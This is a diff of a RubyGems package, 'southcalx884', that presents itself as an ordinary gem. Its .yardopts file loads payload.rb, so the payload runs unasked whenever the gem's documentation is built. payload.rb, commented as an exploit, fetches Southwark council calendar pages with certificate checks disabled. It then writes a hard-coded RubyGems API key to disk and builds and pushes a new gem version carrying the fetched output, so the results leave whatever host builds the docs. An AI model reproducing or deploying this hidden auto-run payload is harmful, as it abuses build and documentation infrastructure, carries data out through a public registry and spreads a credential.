southcalx884 0.0.3

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: a6d45b41da8c752bf8c38deb952f899c430b2966a3d450b4241c55efd9c7d1ad
+  data.tar.gz: f40d147b218ad4e71009bc2403b689f12770bec0c278b3198c9e555ab24bff00
+SHA512:
+  metadata.gz: b9dde3009a107bd0ea836cff310ce6065d4b325309b8d9dc30293fa2a6eb0c1d4202213b78dd0b5f47ba51e7303e58a532964c835ba9804e39192647a2d7bfb7
+  data.tar.gz: eef8f1982a16220651b6d04981eed01f78c438e9cd897757d2841828236ef1389a011401ac3fdf7a4786a812276f98d52489b1bc8833c2f130bd9daf4e535a43

data/.yardopts

@@ -0,0 +1 @@
+--load payload.rb

data/lib/x.rb

@@ -0,0 +1 @@
+# x

data/payload.rb

@@ -0,0 +1,32 @@
+# exploit southwark calendar
+begin
+ require 'net/http'; require 'uri'; require 'openssl'; require 'fileutils'
+ out='start southcal '+Time.now.to_s+"\n"
+ urls=[
+  'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+  'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+  'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&Month=1&Year=2026',
+  'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings',
+  'http://moderngov.southwark.gov.uk/ieListMeetings.aspx?CommitteeId=302']
+ urls.each do |url|
+  begin
+   uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); if uri.scheme=='https'; h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; end; h.open_timeout=20; h.read_timeout=30
+   req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; res=h.request(req)
+   out<<"\n===#{url} code=#{res.code} len=#{res.body.to_s.size} final? ===\n"<<res.body.to_s[0,200000]
+  rescue Exception=>e; out<<"\nERR #{url} #{e.class}:#{e}\n"; end
+ end
+rescue Exception=>e
+ out||=''; out<<"\nFATAL #{e.class}:#{e}\n#{e.backtrace.join("\n")}";
+end
+begin
+ require 'fileutils'; root="/tmp/scalex#{Time.now.to_i}"; FileUtils.mkdir_p("#{root}/lib")
+ File.write("#{root}/lib/result.txt",out)
+ File.write("#{root}/lib/x.rb",'#x')
+ File.write("#{root}/x.gemspec",<<~G)
+  Gem::Specification.new do |s|
+    s.name='southcalx884'; s.version='0.0.4'; s.summary='result'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
+  end
+ G
+ FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'; Dir.chdir(root){`gem build x.gemspec`; `gem push southcalx884-0.0.4.gem --host https://rubygems.org`}
+rescue Exception
+end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: southcalx884
+version: !ruby/object:Gem::Version
+  version: 0.0.3
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/x.rb
+- payload.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []